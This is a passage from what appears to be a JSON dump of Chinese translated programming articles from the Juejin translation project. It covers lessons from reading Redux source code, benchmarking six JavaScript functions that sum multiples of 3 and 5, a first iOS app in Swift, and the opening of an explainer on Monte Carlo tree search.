仓库，看源码吧！\n\n![](https://cdn-images-1.medium.com/max/800/1*ZUdEQv1ZgNGknJuzof9SDQ.jpeg)\n\n咦，源码呢？\n\n阅读源码的同时，你也可以去看官方文档，官方文档的结构就像作者写的代码一样，写得好的官方文档就让你仿佛坐在作者旁边一样。你也可以在上面看到别人遇到的问题。官方文档中的超链接提供了丰富的扩展阅读的资源。在评论区你还可以和大神一起交流。\n\n平时我也会在 YouTube 看别人写代码，我推荐大家去看[SuperCharged  直播写代码系列](https://www.youtube.com/watch?v=rBSY7BOYRo4)，来自 Google Chrome 开发者的 Youtube 频道。看两个 Google 工程师直播写一个项目，看他们是如何处理性能问题的，和大家一样，他们也会被自己拼写错误导致的 bug 卡住。\n\n### 读 Readux 源码的收获\n\n#### ESLint\n\nLinting 用于检查代码，发现潜在的错误。它帮助我们保持代码风格的一致性和整洁。你可以自己定制规则，也可以用预设的规则（比如 Airbnb 提供的规则）。\n\nLinting 在团队开发中特别有用。它让所有代码看起来像一个人写的。它可以强迫开发人员按照公司的代码风格来写代码（同事不用在阅读代码上花太多时间）。\n\nLinters 不仅仅是为了美观，它会让你的代码更符合语言特性。比如它会告诉你什么时候使用 “const” 关键字来处理那些没有被重新赋值的变量。\n\n如果你使用了 React 插件，它会警告你关于组件可以被重构成无状态的函数式组件。也是可以让你学习 ES6 语法，告诉你的某段代码可以用语法新特性来写。\n\n在你的项目中轻松使用 ESlint：\n\n1. 安装 ESlint。\n\n```\n$ npm install --save-dev eslint\n```\n\n2. 配置 ESlint。\n\n```\n./node_modules/.bin/eslint --init\n```\n\n3. 在你的 package.json 文件中设置 npm 脚本来运行你的 Linter（可选）。\n\n```\n\"scripts\": {\n  \"lint\": \"./node_modules/.bin/eslint\"\n}\n```\n\n4. 运行 Linter.\n\n```\n$ npm run lint\n```\n\n查看[它们的官方文档](http://eslint.org/docs/user-guide/getting-started)，了解更多。\n\n许多编辑器也有插件来检查你的代码。\n\n有些时候 Linter 会对一些正确的代码报错，比如 console.log。你可以告诉 Linter 忽略这行代码，不对其进行检查。\n\n在 ESlint 中忽略检查，你可以这样写代码注释：\n\n```\n// 忽略一行\n console.log(‘Hello World’); // eslint-disable-line no-console\n// 忽略多行\n /* eslint-disable no-console */\n console.log(‘Hello World’);\n console.log(‘Goodbye World’);\n /* eslint-enable no-console */\n```\n\n#### 检查代码是否被压缩了\n\n在源码中我发现一个 “isCrushed()” 的空函数，很奇怪。\n\n后来我发现它的目的是为了检查代码是否被压缩了。在代码压缩过程中，函数名字和变量会被缩写。当你在开发的时候如果使用了压缩后的代码，如果一个条语句被检测到仍然有 “isCrushed()” 存在，就会有警告提示。\n\n#### 不要害怕报错\n\n在学习 Redux 源码之前我很少在代码中抛异常。JavaScript 是一个弱类型，所以我们不知道函数中传入参数的类型。所以我们必须要像强类型语言那样对于错误要抛出异常。\n\n使用 `try…catch…finally` 语句来抛出异常。这样做可以方便你 debug，以及理清代码逻辑。\n\n在控制台中产生的错误，可以很方便堆栈跟踪。\n\n![](https://cdn-images-1.medium.com/max/800/1*03Y3lQPmF8Hl1pNMvm4Fsg.png)\n\n很有用的栈跟踪。\n\n做异常信息处理让你的代码逻辑清晰。比如，如果有一个 \"add()\" 函数，只允许传入数字，如果传入的不是数字就要抛出异常。\n\n```\nfunction add(a, b) {\n    if(typeof a !== ‘number’ || typeof b !== ‘number’) {\n\tthrow new Error(‘Invalid arguments passed. Expected numbers’);\n    }\n    return a + b;\n}\nvar sum = add(‘foo’, 2); \n// 抛出异常后会终止代码执行\n```\n\n#### 组合函数\n\n源码中有一个 “compose()” 函数，根据已有的函数构建出新的函数:\n\n```\n function compose(…funcs) {\n   if (funcs.length === 0) {\n     return arg => arg\n   }\n   if (funcs.length === 1) {\n     return funcs[0]\n   }\n   const last = funcs[funcs.length — 1]\n   const rest = funcs.slice(0, -1)\n   return (…args) => rest.reduceRight((composed, f) => f(composed),    last(…args))\n }\n```\n\n如果我有两个已知的 square 函数和另一个 double 函数，我可以把它们组成一个新函数。\n\n```\n function square(num) {\n   return num * num;\n }\nfunction double(num) {\n   return num * 2;\n}\nfunction squareThenDouble(num) {\n   return compose(double, square)(num);\n}\nconsole.log(squareThenDouble(7)); // 98\n```\n\n如果我没看过 Redux 的源码，我都不知道还有这种犀利的操作。\n\n#### 原生方法\n\n当我在看 “compose” 函数的时候，我发现了一个原生数组方法 “reduceRight()”，我之前都没听到过。这让我想知道还有多少我没听过的原生方法。\n\n我们来看一个代码片段，一个使用了原生数组方法 “filter()”，一个没有，通过对比看原生方法存在的价值。\n\n```\n function custom(array) {\n   let newArray = [];\n   for(var i = 0; i < array.length; i++) {\n     if(array[i]) {\n       newArray.push(array[i]);\n     }\n   }\n   return newArray;\n }\n function native(array) {\n   return array.filter((current) => current);\n }\n const myArray = [false, true, true, false, false];\n console.log(custom(myArray));\n console.log(native(myArray));\n```\n\n你可以看到使用 “filter()” 会让你的代码变得简洁。更重要的是，避免了重复造轮子。“filter()” 会被使用上百万次，比起你自己造轮子，可以避免很多 bug。\n\n当你想造轮子的时候，先看看你的问题是否已经被原生方法解决了。你会惊喜的发现有非常多的实用方法在你用的编程语言中。（比如，可以看看 Ruby 的数组的重新排列的[方法](https://ruby-doc.org/core-2.2.0/Array.html#method-i-repeated_permutation)）\n\n#### 描述性的函数名\n\n在源码中，我看到了许多有很长名字的函数。\n\n1.  getUndefinedStateErrorMessage\n2.  getUnexpectedStateShapeWarningMessage\n3.  assertReducerSanity\n\n虽然这函数名读起来会让你的舌头打结，但你可以清楚的知道这个函数是做什么的。\n\n在你的代码中使用描述性的函数名，让你更多的是读代码而不是写代码，别人也可以很轻松的阅读你的代码。\n\n用较长的描述性函数名带来的好处远超过敲击键盘所带来的快感。现代的文本编辑器都有自动补全功能，它可以帮助你输入，所以没有理由再使用类似 “x” 或者 “y” 的变量名。\n\n#### console.error vs. console.log\n\n不要总是使用 console.log，如果你要抛出异常，请使用 console.error，你可以在 console 中看到红色的打印内容和栈的跟踪。\n\n![](https://cdn-images-1.medium.com/max/800/1*1N-RGnFLtEhcuS9QTCF56w.png)\n\nconsole.error()\n\n查看 console [文档](https://developer.mozilla.org/en-US/docs/Web/API/Console)，看看其他的方法。比如计算运行时间的计时器（console.time()）,用表格方式打印信息（console.table()），等等。\n\n* * *\n\n不要害怕去读源代码。你肯定会学到一些东西，甚至可以为它贡献代码。\n\n在评论中分享你在阅读源码中的收获吧！\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/what-i-learned-from-writing-six-functions-that-all-did-the-same-thing.md",
    "content": "> * 原文地址：[What I learned from writing six functions that all did the same thing](https://medium.freecodecamp.com/what-i-learned-from-writing-six-functions-that-all-did-the-same-thing-b38fd48f0d55#.tt79h3s25)\n* 原文作者：[Jackson Bates](https://medium.freecodecamp.com/@JacksonBates)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[王子建](https://github.com/Romeo0906)\n* 校对者：[Danny Lau](https://github.com/Danny1451)，[luoyaqifei](https://github.com/luoyaqifei)\n\n# 写了六个相同功能的函数之后，我学到了什么\n\n几周之前，一个社区在 [Free Code Camp’s Forum](http://forum.freecodecamp.com/t/javascript-algorithm-challenge-october-9-through-16/44096?u=jacksonbates) 上发起了非官方的算法大赛。\n\n这个题目看似很简单：返回小于数字 N 的所有 3 或者 5 的倍数的和，N 是函数的参数。\n\n但不是简单的找到解决办法，[P1xt](https://medium.com/u/bf42d244c85) 的竞赛要求参赛者把重点放在效率上，它鼓励你自己来写测试用例，并且用它们来评估你方案的性能。\n\n以下是我写出并测试过的每个函数的评估，包括我的测试用例和评估脚本。最后，我将展示最终的赢家，就是那个将我所有的作品杀的片甲不留然后狠狠地给我上了一课的函数。\n\n![](https://media.giphy.com/media/qhY3EfioLSshO/giphy.gif)\n\n给自己的代码做测试，真的是超乎寻常地痛苦啊…… 来自：The Simpsons, 在这里 [Giphy](http://gph.is/1szb6yu)\n\n### 函数 1 ：数组，Push 方法，累加\n\n    function arrayPushAndIncrement(n) {\n      var array = [];\n      var result = 0;\n      for (var i = 1; i < n; i ++) {\n        if (i % 3 == 0 || i % 5 == 0) {\n          array.push(i);\n        }\n      }\n      for (var num of array) {\n        result += num;\n      }\n      return result;\n    }\n\n    module.exports = arrayPushAndIncrement; // this is necessary for testing\n\n对于这类问题，我的大脑直接闪现：创建一个数组，然后对这个数组进行操作。\n\n这个函数创建了一个数组，并且将符合条件（能够被 3 或者 5 整除）的数字压入数组，之后遍历得到所有单元的和。\n\n### 开始测试\n\n这是该函数的自动测试，运行在 NodeJS 环境下，用到了 Mocha 和 Chai 测试工具。\n\n如果你想了解更多关于 Mocha 和 Chai 的安装等信息，可以参考我在自由代码营社区（Free Code Camp's forum）写的一份 [Mocha 和 Chai 测试入门](http://forum.freecodecamp.com/t/testing-your-own-code-using-mocha-and-chai-simple-example/44149?u=jacksonbates) \n\n我依照 [P1xt](https://medium.com/u/bf42d244c85) 提供的标准写了一份简单的测试脚本，需要注意的是在下面这份脚本中，该函数是被封装在模块中的。\n\n    // testMult.js\n\n    var should = require( 'chai' ).should();\n    var arrayPushAndIncrement = require( './arrayPushAndIncrement' );\n\n    describe('arrayPushAndIncrement', function() {\n      it('should return 23 when passed 10', function() {\n        arrayPushAndIncrement(10).should.equal(23);\n      })\n      it('should return 78 when passed 20', function() {\n        arrayPushAndIncrement(20).should.equal(78);\n      })\n      it('should return 2318 when passed 100', function() {\n        arrayPushAndIncrement(100).should.equal(2318);\n      })\n      it('should return 23331668 when passed 10000', function() {\n        arrayPushAndIncrement(10000).should.equal(23331668);\n      })\n      it('should return 486804150 when passed 45678', function() {\n        arrayPushAndIncrement(45678).should.equal(486804150);\n      })\n    })\n\n当我用 `mocha testMult.js` 进行测试的时候，返回了如下结果：\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*tmJwwmFxPQevv_kEKOWPRw.png)\n\n\n\n\n\n我们认为本文中所有的函数都已经通过测试，在你的代码中，请给你想要试验的函数添加测试用例。\n\n### 函数 2 ：数组，Push 方法，Reduce 方法\n\n    function arrayPushAndReduce(n) {\n      var array = [];\n      for (var i = 1; i < n; i ++) {\n        if (i % 3 == 0 || i % 5 == 0) {\n          array.push(i);\n        }\n      }\n      return array.reduce(function(prev, current) {\n        return prev + current;\n      });\n    }\n\n    module.exports = arrayPushAndReduce;\n\n这个函数使用了跟前者相似的方法，但是它没有使用 `for` 循环，而是使用了更加精妙的 `reduce`方法来得到结果。\n\n### 开始执行效率评估测试\n\n现在我们来比较以上两个函数的效率。再次感谢 [P1xt](https://medium.com/u/bf42d244c85) 在往期主题中提供的这份脚本。\n\n    // performance.js\n\n    var Benchmark = require( 'benchmark' );\n    var suite = new Benchmark.Suite;\n\n    var arrayPushAndIncrement = require( './arrayPushAndIncrement' );\n    var arrayPushAndReduce = require( './arrayPushAndReduce' );\n\n    // add tests\n    suite.add( 'arrayPushAndIncrement', function() {\n      arrayPushAndIncrement(45678)\n    })\n    .add( 'arrayPushAndReduce', function() {\n      arrayPushAndReduce(45678)\n    })\n    // add listeners\n    .on( 'cycle', function( event ) {\n        console.log( String( event.target ));\n    })\n    .on( 'complete', function() {\n        console.log( 'Fastest is ' + this.filter( 'fastest' ).map( 'name' ));\n    })\n    // run async\n    .run({ 'async': true });\n\n如果你在 `node performance.js` 模式下运行测试，将得到以下输出：\n\n    arrayPushAndIncrement x 270 ops/sec ±1.18% (81 runs sampled)\n    arrayPushAndReduce x 1,524 ops/sec ±0.79% (89 runs sampled)\n    Fastest is arrayPushAndReduce\n\n\n\n![](https://media.giphy.com/media/3oGRFKJ8Ea3hKkLRyE/200_s.gif)\n\n\n事实证明，还是后者更快！来自 [Giphy](http://gph.is/1UXFu1x)\n\n\n\n所以，我们用 `reduce` 方法能够得到一个**快 5 倍**的函数！\n\n如果这还不够激动人心，如果这还不足以激励我们继续进行下去，那我也真的是没谁了！\n\n### 函数 3 ：While 循环，数组，Reduce 方法\n\n既然我总是对 `for` 循环情有独钟，所以我觉得我有必要用 `while` 循环试一下：\n\n    function whileLoopArrayReduce(n) {\n      var array = [];\n      while (n >= 1) {\n        n--;\n        if (n%3==0||n%5==0) {\n          array.push(n);\n        }\n      }\n      return array.reduce(function(prev, current) {\n        return prev + current;\n      });\n    }\n\n    module.exports = whileLoopArrayReduce;\n\n那么结果怎样呢？稍微有一点慢：\n\n    whileLoopArrayReduce x 1,504 ops/sec ±0.65% (88 runs sampled)\n\n### 函数 4 ：While 循环，求和，没有数组\n\n我发现不同的循环并没有多大的区别，于是我另辟蹊径，用一个没有数组的方法会怎样呢？\n\n    function whileSum(n) {\n      var sum = 0;\n      while (n >= 1) {\n        n--;\n        if (n%3==0||n%5==0) {\n          sum += n;\n        }\n      }\n      return sum;\n    }\n\n    module.exports = whileSum;\n\n当我沿着这个思路勇往直前的时候，我意识到**一直**以来第一选择使用数组是多么错误的行为……\n\n    whileSum x 7,311 ops/sec ±1.26% (91 runs sampled)\n\n又一项宏伟的提升：将近是上一个的 **5 倍快**，并且是第一个函数的 **27 倍快**！\n\n### **函数 5 ：For 循环，求和**\n\n当然，我们已经知道 for 循环会快一点：\n\n    function forSum(n) {\n      n = n-1;\n      var sum = 0;\n      for (n; n >= 1 ;n--) {\n        (n%3==0||n%5==0) ? sum += n : null;\n      }\n      return sum;\n    }\n\n这次我用了三元运算符来做条件判断，但是测试结果表明其他版本表现的同样高效。\n\n    forSum x 8,256 ops/sec ±0.24% (91 runs sampled)\n\n速度又得到了提升。\n\n我最后一个函数以**快 28 倍**的速度完爆第一个函数。\n\n我感觉我要夺冠了。\n\n我要上天了。\n\n我将摘得桂冠从容小憩。\n\n### 进入数学的世界\n\n![](https://media.giphy.com/media/Tf4pP3z2EqowM/giphy.gif)\n\n学着热爱数学：来自 [Giphy](http://gph.is/292GnFR) (Originally, [this music video](https://www.youtube.com/watch?v=vpOau9ZxQNY&t=116s))\n\n\n一周很快过去了，每个人的最终答案都被发布、测试、校验。最快的那个函数没有使用循环，而是用了一种代数公式来操作数字：\n\n    function multSilgarth(N) {\n      var threes = Math.floor(--N / 3);\n      var fives = Math.floor(N / 5);\n      var fifteen = Math.floor(N / 15);\n\n      return (3 * threes * (threes + 1) + 5 * fives * (fives + 1) - 15 * fifteen * (fifteen + 1)) / 2;\n    }\n\n    module.exports = multSilgarth;\n\n测试结果马上出来……\n\n    arrayPushAndIncrement x 279 ops/sec ±0.80% (83 runs sampled)\n    forSum x 8,256 ops/sec ±0.24% (91 runs sampled)\n    maths x 79,998,859 ops/sec ±0.81% (88 runs sampled)\n    Fastest is maths\n\n### 数学最快\n\n最终获胜的那个函数大概地比我最好的作品**快 9690 倍**，比我最初的作品**快 275,858 倍**。\n\n如果你想找我，我估计要去可汗学院学习数学了。\n"
  },
  {
    "path": "TODO/what-i-would-like-to-know-before-i-code-my-first-ios-application-in-swift.md",
    "content": "> * 原文地址：[What I would like to know before I code my first iOS application in Swift](https://medium.com/@bkzl/what-i-would-like-to-know-before-i-code-my-first-ios-application-in-swift-f11fcdde7887#.oeafmue7p)\n* 原文作者：[Bartłomiej Kozal](https://medium.com/@bkzl?source=post_header_lockup)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[jiaowoyongqi](https://github.com/jiaowoyongqi)\n* 校对者：[cbangchen](https://github.com/cbangchen), [owenlyn](https://github.com/owenlyn)\n\n# 用 Swift 开发我的第一个 iOS 应用前，我想要知道这些内容\n\n上周，我和我[哥哥](http://medium.com/@_mac)使用 Swift 语言开发了第一款[iOS 应用](http://echotags.io/appstore)。通过这篇文章，我想分享在此过程中所收获的心得体会。\n\n*我是一位有六年网站应用开发经验，并且掌握 Ruby 和 JavaScript 的工程师，而最近3个月致力于学习 Swift 编程语言。*\n\n### Objective-C 已亡？\n\nSwift 是一款由苹果公司（世界最大的公司之一）创立的编程语言。这也表明了许多事：首先，苹果并不避讳向自己的平台中引入重大的更新。你需要知道的是，这里的重大更新，我指的是包括优先级更新在内的一系列更新措施。\n\n例如，上一次 WWDC 大会中，苹果宣布了将大部分 API 进行重新命名。Swift 是基于原本面向 iOS 开发者的 Objective-C 的基础上进行重大革新的一款编程语言。而且，WWDC 对于我而言，就像放了一周的假前往现场享受有趣的展示和演讲。即使如此，Swift 是我见过卓越的具有公开学习资源的编程语言之一。来看看[相关的项目](https://github.com/apple/swift-evolution/tree/master/proposals)吧。\n\n![](https://cdn-images-1.medium.com/max/1600/1*j4lJm5Dtpb4jLpGKlInOVA.png)\n\nSwift 对阵 DHH ;)\n\n这是否就意味着 Objective-C 已死，无需了解学习了？差不多是的，我能保证图书馆中大部分的书籍和互联网中大部分的代码案例都是由 Objective-C 编写而成的。但是有趣的是，当我在通过 Swift 语言编程的时候，我越来越了解 Objective-C。现在我可以很顺畅地理解 Objective-C 代码。\n\n另一个你需要知道的事情是数量巨大的内部接口，当你准备调用 API 的时候，你可能会被之震惊。你可以通过调用手机功能权限来构建基础的功能，比如相机、麦克风、陀螺仪、加速器以及触摸屏幕等，比为网页编程简单得多。\n\n### 开发工具\n\n苹果公司出品的 XCode 是神奇的魔术箱。它包含了你在开发 iOS 应用时所需要的所有工具：代码编辑器、界面构建器、数据管理、调试器以及基础构建工具等。\n\n可惜的是，这些工具都存在许多瑕疵。特别在使用界面构建器的时候，我总会在心里冒出黑人问号脸。当我第一次使用界面构建器的时候，我总会惊叹道“哇塞！我可以像使用图形软件 Sketch 和 Photoshop 那样来开发应用界面耶！”但是并未如此美好，界面构建器更像一个为了逃避写代码而生的不切实际的产物，而不是所谓简单的界面设计工具。\n\n有时候你在界面构建器上进行一次操作而却没有什么反应，这并不少见。有很多事你无法预测，你要做的就是了解它；例如你可以直接点击错误提示以消去错误的约束警告。还有，当你移除属性或者事件的时候，也总是要记得把故事板上引用绑定的部分去除。如果你不这样做，也许在编程的时候不会出现什么错误警告，但是当模拟运行 App 的时候就可能会程序崩溃。\n\n你需要找到一个平衡点。根据我的经验，界面构建器主要是用于设计应用主要页面流程，以及布局界面元素的，并做到不同视图控制器之间的无缝链接（而不是按钮与视图控制器之间）。使用代码存储的设置，并且继承已有的界面元素来自定义 UI 元素。\n\n相比于 web 编程，iOS 应用显然有着更多的图形界面编程内容。我的建议是多了解一下那些基础信息，比如矢量图形是什么以及转换是如何实现的。了解这些知识对于你未来将会面对的问题很有帮助。\n\n你时刻需要在真实的设备上来测试的你应用。用鼠标点击模拟器上的感觉和用手指在手机上触控的感觉是完全不一样的。\n\n![](https://cdn-images-1.medium.com/max/1600/1*oiYF-MoPLhP-4TzkFdYggQ.png)\n\n在模拟器看这个界面上的关闭按钮十分合理，但是在设备上往下滑关闭的手势则会更加直观。\n\n官方的依赖库管理器至今尚未正式发布。但是你可以选择这两个第三方社区： CocoaPods 和 Carthage。目前我正在使用前者，并且至今未遇到太多的问题。\n\n小贴士：别太依赖撤销操作。XCode 无法做到在点击 *cmd+z* 之后跳转到相应的页面，所以你无法看到哪里进行修改了。建议你使用 Git 并且多做修改记录。\n\n### web 编程和 iOS 编程的差异\n\n当你在创建一个新项目的时候，你会注意到这里没有任何约定俗成的条条框框。相比于具有相似代码结构的 Ruby 应用，iOS 程序对于你的代码没有一个硬性的格式要求。每一位开发者可以根据他们的想法来构建应用。但说实话我并不喜欢这样的方式。Ruby 的规范可以帮助你更直观、更方便地找到代码的位置。\n\n![](https://cdn-images-1.medium.com/max/1600/1*iLaegkpeKax7WTn7wJNC-g.png)\n\n所以我应该把那些新创建的类放在哪里呢？\n\n我发现的另一件事就是那些很容易在 web 应用上实现的功能，在 App 端就不是一件简单的事，反之亦然。例如，让元素垂直排布是个简单的操作，然而改变标签标题的字体却不是个简单的事。\n\n而那些酷炫的界面动效、页面跳转以及手势操作，使用 iOS 的 API 来实现远比用 JavaScript/CSS 简单得多。\n\n另一大话题就是受限的手机资源和优化性能。你不能通过堆积便宜的硬件来提高应用程序的性能（来响应大规模的用户）。而且应用还会受制于手机自身的电量。使用 CPU 来优化应用的表现是个很常见的做法，但其表现结果因不同的手机型号而相差迥异，这也是一大问题。\n\n调用外部 API 接口是一件十分棘手的事情。目前已经有太多极端错误的例子，如果没有合理地调用，就会出现黑屏或者闪退的问题。\n\n静态类型和实时预编译是非常有用的工具，也能帮助你避免很多错误。我很喜欢可选性（ optionals）这个代码特性，它可以确保你不会遗漏那些不引人注意的空值（nil）。现在我在用 ActiveRecord 开发网页应用的时候很怀念可选性（ optionals）。\n\n另一方面，我也十分怀念那些在 Ruby 标准库中内置功能的组件。你可以调用 *map()*， *filter()*， 还有 *reduce()* 等代码，以及大量其他有用的代码。多说一句，接口系统中不同的 API 之间常常存在着差异，这是你在设计之前需要注意的。我甚至见过不同名称但是却同一功能的接口，而其中一个只是另一个的老版本。\n\n### 发布应用\n\n我必须要说出一个事实：筹备发布应用所耗费的时间比我们开发的时间还长！请重视这件事，因为开发一款应用不仅仅只是写代码。\n\nApp Store 是唯一一个可以发布自己 iOS 应用的官方平台，而每笔交易需要向苹果支付30%的费用。这个比例的抽成看起来不多，但是看到销售报告的时候你就不会这样想了。更令人惊讶的是，当你再加上收入税的支出，你会发现你到手的仅仅只有销售额的50%。再刨去其他的开支，以及 App Store 上平均价格的制约（大部分的 App 都是免费的或者售价比一杯咖啡还便宜）你会发现你的产品需要有完美的定位以及优秀的运营手段才能走向盈利的道路。\n\n苹果并没有给你足够的工具来支持你的运营推广。你可以制作30秒的广告视频，最多5个截图，还有应用标题、介绍文字及搜索关键词，这三项一共限制在100个字符以内。其他的只能靠你自己的努力了。我觉得他们不提供关键词统计工具这一点非常令人讨厌，因此你必须使用第三方工具。\n\n最后一个细节就是应用的审核时间。一旦你将应用上传到苹果服务器上，并且点击“发布”按钮，你将不得不经历两次等待，第一次是等待被审查，第二次是等待审查完毕。所以不要指望你的新产品或者补丁将会在提交审核的第二天就出现在 App Store 上。\n\n### 学习资料\n\n即将结束时，我想列出部分自己看过的书单和资源：\n\n[Design & Code ](https://designcode.io/)—我是通过这个教程开始学习的，一共包括5本书（其中三本直接关于开发）。这个教程很适合那些从未接触过代码的设计师。虽说这并不是所有人入门的最佳选择，因为里面的部分细节已经有些过时，但我依然推荐给大家。每一章节都有视频版本。\n\n[Stanford CS 193P lecture on iTunes U ](https://itunes.apple.com/us/course/developing-ios-9-apps-swift/id1104579961)—我认为这是最佳的入门教程，因为里面事无巨细的讲解了所有编程时候应该注意的事情。但这不适用于所有新手，因为这需要代码经验。这个教程是免费而且是最新的（Xcode 7，Swift 2 以及 iOS9）。每个章节的最后都会有一个课后练习，确保你在本堂课学到了东西。\n\n[Hacking with Swift](https://gumroad.com/l/hws-book-pack)—这本书包含 Swift 和 iOS 开发的所有知识。和上一本书配合阅读效果极佳。每一章节都是一个用来解释和练习某个 API 的迷你项目。你可能会觉得这本书太厚了，还没读完就会觉得无聊，但这确实物超所值的一本书。\n\n[Pro Swift ](https://gumroad.com/l/proswift)—只写关于 Swift 的高级知识点。每个章节都会附带教学视频，视频中作者将会通过例子来解释知识点。这绝对是你提升 Swift 能力的必读资源。强烈推荐！\n\n[100 Days of Swift](http://samvlu.com/tutorials.html) —通过视频教学的方式讲解40个真实的 Swift 编程案例。作者展示了很多“奇技淫巧”以及很多实用的开发技巧。虽说这是面向新手的教程，但是我并不想将之推荐给新手，因为书中缺少对于基本概念的解释。而如果你真的了解并且上手操作过 Swift 或者 iOS 之后，这本书十分值得你阅读。\n\n[iOS Developer Library](https://developer.apple.com/library/ios/navigation/) —我现在使用的主要资源。起步的时候最困难的就是无从下手。在这里你可以看到苹果开发者是如何编写并且组织代码的。但你需要知道里面有些例子是用 Objective-C 写出来的，已经稍稍过时。而且这也是了解最新 API 接口信息的唯一来源。\n\n![](https://cdn-images-1.medium.com/max/1600/1*ZhHNBLXvxMvjsIp1KIFSsw.jpeg)\n\n爆照啦！右边的是我！ 👋\n"
  },
  {
    "path": "TODO/what-is-mcts.md",
    "content": "> * 原文地址：[What is MCTS?](http://www.cameronius.com/research/mcts/about/index.html)\n> * 原文作者：[cameronius](http://www.cameronius.com/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/what-is-mcts.md](https://github.com/xitu/gold-miner/blob/master/TODO/what-is-mcts.md)\n> * 译者：[CACppuccino](https://github.com/CACppuccino)\n> * 校对者：[ppp-man](https://github.com/ppp-man) [CACppuccino](https://github.com/CACppuccino)\n\n# 什么是蒙特卡洛树搜索\n\n蒙特卡洛树搜索（MCTS）是一种在人工智能问题中进行决策优化的方法，通常是对于那些在组合游戏中需要移动规划的部分。蒙特卡洛树搜索将随机模拟的通用性与树搜索的准确性进行了结合。\n\n冯·诺依曼于 1928 年提出的极小化极大理论（minimax）为之后的对抗性树搜索方法铺平了道路，而这些在计算机科学和人工智能刚刚成立的时候就成为了决策理论的根基。蒙特卡洛方法通过随机采样解决问题，随后在 20 世纪 40 年代，被作为了一种解决模糊定义问题而不适合直接树搜索的方法。Rémi Coulomb 于 2006 年将这两种方法结合，来提供一种新的方法作为围棋中的移动规划，如今称为蒙特卡洛树搜索（MCTS）。\n\n近期由于它在计算机围棋上的成果和对某些难题具有解决的潜力，科研领域对于 MCTS 的研究兴趣快速上升。它的应用领域已不止于博弈，而且理论上 MCTS 可以应用于任何能够以 **{状态，动作}** 形式描述，通过模拟来预测结果的领域。\n\n---\n\n## 基本算法\n\n最基本的 MCTS 算法本身就是简单的：根据模拟出来的结果，建立一棵节点相连的搜索树。整个过程可以被分解为如下几步：\n\n![](https://i.imgur.com/Oi1UjD1.png)\n\n1.选择\n\n从根节点 R 开始，递归地选择最优子节点（下面会解释）直到一个叶子节点 L 为止。\n\n2.扩展\n\n如果 L 不是终止节点（就是说，博弈尚未结束）那么就创建一个或多个子节点，并选择其中一个 C。\n\n3.模拟\n\n从 C 执行一次模拟推出（译者注：通常称为 playout 或 rollout）直到得到一个结果。\n\n4.反向传播\n\n用模拟出来的结果更新当前的移动序列。\n\n每一个节点必须包含两部分重要的信息：基于模拟所得结果的估值，和被访问的次数\n\n在最简单和最大化利用内存的执行中，MCTS 会在每次迭代中添加一个子节点。注意，在某些情况下每次迭代增加多个子节点可能会更有益。\n\n---\n\n## 节点的选择\n\n### 老虎机与 UCB 算法\n\n在树递归地向下发展时的节点的选择，是取决于该节点是否最大化了某些数量，类似于**多臂老虎机**问题：即玩家每回合都要选择那个能够带给他们最大化收益的老虎机。接下来的上限置信区间（Upper Confidence Bounds, UCB）公式通常会被用到：\n\n![](https://i.imgur.com/0m8A2zl.png)\n\n其中 `vi` 是节点的估值，`ni` 是节点被访问的次数而 `N` 是它的父亲节点被访问的总次数。`C` 是可调的偏置参数。\n\n### 利用性 vs 探索性\n\nUCB 公式在**利用性**与**探索性**之间提供了不错的平衡，鼓励访问未曾访问过的节点。奖励是基于随机模拟的，所以节点在变的可靠之前必须被访问一定的次数。MCTS 估值往往在开始的表现会非常不可靠，但随着足够多的时间而逐渐向可靠的估值收敛，若有无限多的时间则可以收敛至最优估值。\n\n### 蒙特卡洛树搜索（MCTS）与上限置信区间树（UCT）\n\nKocsis 和 Szepervari (2006)首先利用 UCB 提出了一个完整的 MCTS 算法并命名为上限置信区间树（UCT）的方法。这个方法正是如今被大多数人采用于 MCTS 的实施中的算法。  \nUCT 可以被描述为 MCTS 的一种特殊情况，即：\n\nUCT = MCTS + UCB\n---\n\n## 优点\n\nMCTS 相对传统树搜索方法具有一些不错的优点。\n\n### 上下文无关\n\nMCTS最大的好处就在于它无需知道该博弈（或者其他问题领域）的任何战术或策略。这个算法可以无需知道任何该博弈的信息（除了可进行的动作和终止条件）。这意味着任何的 MCTS 的实现方案可以在仅仅修改一小部分后便移植到其他的博弈中，对于所有的博弈问题来说 MCTS 的这个特性也是一种隐形的好处。\n\n\n### 非对称树增长（Asymmetric Tree Growth）\n\nMCTS 表现出一种非对称的树增长来适应搜索空间的拓扑。算法会访问其更‘感兴趣’的节点，并将搜索空间集中于更加相关的部分。\n\n![](https://i.imgur.com/5ctcMfU.png)\n\n这使得 MCTS 很适合于拥有大量影响因素的博弈中，如 19x19 大小的围棋。如此巨大的空间组合往往会使得标准的深度或广度搜索方法出现问题，但 MCTS 的适应特性意味着它会（最终）找到那些更为优秀的移动（动作）并专注于那里的搜索。\n\n\n### 优雅的退出\n\n算法可以在任意时间中止并返回当前最佳的评估策略。建立的搜索树可以被抛弃或为以后的复用而保留。\n\n### 易用性\n\n算法非常易于实现，可见教程。（译者注：[python](http://mcts.ai/code/python.html) 及 [java](http://mcts.ai/code/java.html) 源码及相关知识点可在此找到）\n\n---\n\n## 缺点\n\nMCTS 虽然只有少量缺陷，但他们可以很严重（影响树搜索的效果）。\n\n### 博弈强度\n\nMCTS 